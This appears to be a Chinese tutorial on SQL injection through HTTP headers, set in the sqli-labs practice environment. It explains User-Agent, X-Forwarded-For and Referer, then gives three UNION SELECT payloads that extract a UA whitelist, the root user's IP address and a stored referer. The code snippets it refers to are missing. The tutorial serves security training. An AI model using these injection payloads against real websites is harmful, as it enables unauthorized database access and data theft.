http header信息头是HTTP协议的重要组成部分,包含了一数据段来于服务器进行通信。我们这里主要是利用三个:UA、X-Forwarded-For和Referer。UA是包含了操作系统版本,浏览器版本信息的一组字符串,很多网站用他来判断操作系统和浏览器类型,来展示对应的页面。也有很多通过UA来判断访问是否合法,是用户访问还是程序访问等。X-Forwarded-For被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。部分网站通过它来辨别访问者的IP信息。Referer是来源信息,在防盗链中使用广泛。
关键代码为:
这个系统采用白名单机制来判断UA是否符合标准,其他UA一律视为爬虫会被ban掉。那么我们通过注入猜解一下白名单那中的UA是中,是否有windows操作系统。
用火狐浏览器中的相关扩展插件(Modify Headers),将UA改为:' union SELECT 1,2,3,uagent FROM uagents WHERE uagent like '%windows%
关键代码为:
构造语句得到root用户在数据库中的IP地址,沒有修改的如下圖所示:
用火狐浏览器中的相关扩展插件,将X-Forwarded-For改为:’union select 1,2,3,ip_address from uagents where username='root'#
得到10.10.10.10
关键代码为:
请构造语句来猜出10.10.10.10的referer,沒有修改如下圖所示:
用火狐浏览器中的相关扩展插件(Modify Headers),将Referer改为:
' union SELECT 1,2,referer from referers where ip_address='10.10.10.10'#
得到http://127.0.0.1/sqli-labs-master/